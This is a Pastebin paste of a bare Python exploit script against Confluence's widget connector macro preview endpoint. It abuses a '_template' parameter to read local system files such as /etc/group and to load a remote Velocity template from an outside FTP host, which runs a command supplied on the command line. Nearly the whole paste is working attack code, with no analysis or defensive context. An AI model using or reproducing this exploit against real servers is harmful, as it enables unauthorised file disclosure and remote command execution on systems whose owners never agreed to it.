Guest User

Untitled

a guest
Apr 10th, 2019
278
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # -*- coding: utf-8 -*-
  2. import re
  3. import sys
  4. import requests
  5.  
  6. def _read(url):
  7. result = {}
  8. # filename = "../web.xml"
  9. filename = 'file:////etc/group'
  10.  
  11. paylaod = url + "/rest/tinymce/1/macro/preview"
  12. headers = {
  13. "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0",
  14. "Referer": url + "/pages/resumedraft.action?draftId=12345&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&",
  15. "Content-Type": "application/json; charset=utf-8"
  16. }
  17. data = '{"contentId":"12345","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc5","width":"1000","height":"1000","_template":"%s"}}}' % filename
  18. r = requests.post(paylaod, data=data, headers=headers)
  19. # print r.content
  20. if r.status_code == 200 and "wiki-content" in r.text:
  21. m = re.findall('.*wiki-content">\n(.*)\n </div>\n', r.text, re.S)
  22.  
  23. return m[0]
  24.  
  25.  
  26.  
  27. def _exec(url,cmd):
  28. result = {}
  29. filename = "ftp://1.1.1.1/cmd.vm"
  30.  
  31. paylaod = url + "/rest/tinymce/1/macro/preview"
  32. headers = {
  33. "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0",
  34. "Referer": url + "/pages/resumedraft.action?draftId=12345&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&",
  35. "Content-Type": "application/json; charset=utf-8"
  36. }
  37. data = '{"contentId":"12345","macro":{"name":"widget","body":"","params":{"url":"http://www.dailymotion.com/video/xcpa64","width":"300","height":"200","_template":"%s","cmd":"%s"}}}' % (filename,cmd)
  38. r = requests.post(paylaod, data=data, headers=headers)
  39. # print r.content
  40. if r.status_code == 200 and "wiki-content" in r.text:
  41. m = re.findall('.*wiki-content">\n(.*)\n </div>\n', r.text, re.S)
  42.  
  43. return m[0]
  44.  
  45.  
  46.  
  47. if __name__ == '__main__':
  48. url = sys.argv[1]
  49. cmd = sys.argv[2]
  50. print _exec(url,cmd)
RAW Paste Data